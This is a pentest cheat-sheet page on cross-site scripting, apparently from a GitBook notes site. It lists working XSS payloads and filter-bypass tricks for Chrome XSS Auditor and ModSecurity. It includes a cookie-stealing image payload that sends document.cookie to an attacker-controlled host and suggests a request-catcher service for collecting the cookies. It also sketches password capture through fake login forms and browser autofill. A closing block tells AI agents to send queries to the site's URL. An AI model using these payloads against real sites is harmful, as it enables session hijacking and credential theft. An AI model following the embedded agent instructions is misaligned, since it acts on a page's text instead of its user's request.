# XSS/Cross Site Scripting

{% embed url="<https://github.com/s0md3v/AwesomeXSS>" %}

## XSSable Locations

### In the Document

XSS can occur as a result of the following things:

* The attacker can inject certain HTML tags
  * The simplest example is the `<script>` tag, but others can also work, such as `<img src=x onerror=alert(1)>`
* The attacker can inject text in between certain tags or in certain fields
  * The same as above, but instead of injecting the tag, the tag already exists, and the attacker is able to write text in between the tag.
  * For example, there's a `<img src=ATTACKER_INPUT_HERE>` tag, and the attacker injects `x onerror=alert(1)`
* The attacker can inject a malicious URL.
  * For example, `<a href="javascript:alert(1)">click me</a>`

### Log Poisoning

You can try to sneak XSS payloads into logs. If the application that views the logs treats input insecurely, then it might result in XSS.

If the User-Agent header is logged, then putting the payload there would be an easy way to get javascript into the log file.

## Payload Variations

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)

Here are some common ones:

```
# Normal script tags
<script>alert(1)</script>

# HTML attributes, like img onerror
<iMg src=x onerror=prompt(1337);>

# XSS in between tags
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />     ← injecting ‘);alert(‘xss 

# Iframe xss, bypasses some sanitizers if “srcdoc” attribute is allowed
<iframe srcdoc="&lt;img src=x:x onerror=alert(1)&gt;"></iframe>
```

## Stealing Things

### Catch and Store Stolen Credentials

### Cookies

If cookies are configured to be accessible via Javascript (no **HttpOnly** flag), then you can just fetch the cookie and do a GET request to a site you control:

```
<iMg src=x oNerRor=this.src='https://mysite.com/somepage?creds='+document.cookie>
```

If you need a site for catching cookies, then <https://requestcatcher.com/> should be useful.

### Passwords

TODO: Link phishing page under Social Engineering or Web App Hacking?

You can capture a user's password. For example:

1. You can display a login page to the user and capture their password if they choose to enter it.
2. If the victim’s browser has remember password enabled, you can put a login form on the page, wait 1 second while the browser pastes their password there and then capture that.

## Filter Bypassing

### Multiple Fields Method

Works for **Chrome XSS Auditor** and many other filters. The bypass works by having two query parameters that you can inject into. When you combine the two injections, then a valid javascript payload is formed, and the XSS auditor doesn't detect it.

For example, the first parameter:

```
<script>alert("hi
```

The second parameter:&#x20;

```
");</script>
```

More bypasses: <https://www.youtube.com/watch?v=8GwVBpTgR2c>

### Global Variables

<https://materials.rangeforce.com/tutorial/2019/10/23/ModSecurity-Filter-Evasion/>

This works for weak (default) **ModSecurity** rulesets.

Simple example:

```
<scirpt>self["alert"]("foo");</script>
```

### Nested Payloads

If malicious input is stripped only once, then try nested payloads:

```
<scri<script>pt>alert(1)</scri</script>pt>
```

### Various Payloads

Here are some more interesting payloads:

```
# Iframe XSS
<iframe srcdoc="&lt;img src=x:x onerror=alert(1)&gt;"></iframe>

# Against server-side parsers, this was an XSS in Google
<noscript><p title="</noscript><img src=x onerror=alert(1)>"> 

# CRLF injection to bypass javascript: being blacklisted
java%0d%0ascript%0d%0a:alert(0)

# incase svg onload= is filtered, the %0d acts as a seperator and can sometimes confuse wafs.
# %0a %0c %09 %00 are also common separators to use here.
<svg%0donload=prompt(1)>

# Uncommon XSS vector
<input onfocus=alert(0) autofocus>

# The use of \\ will break out of a quote inside a script tag
\\"-alert(0);//

# onmouseenter is like onmouseover, and confirm is like prompt
"onmouseenter=confirm(1)>
```

###


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://heinosass.gitbook.io/leet-sheet/web-app-hacking/user-attacks/xss-cross-site-scripting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.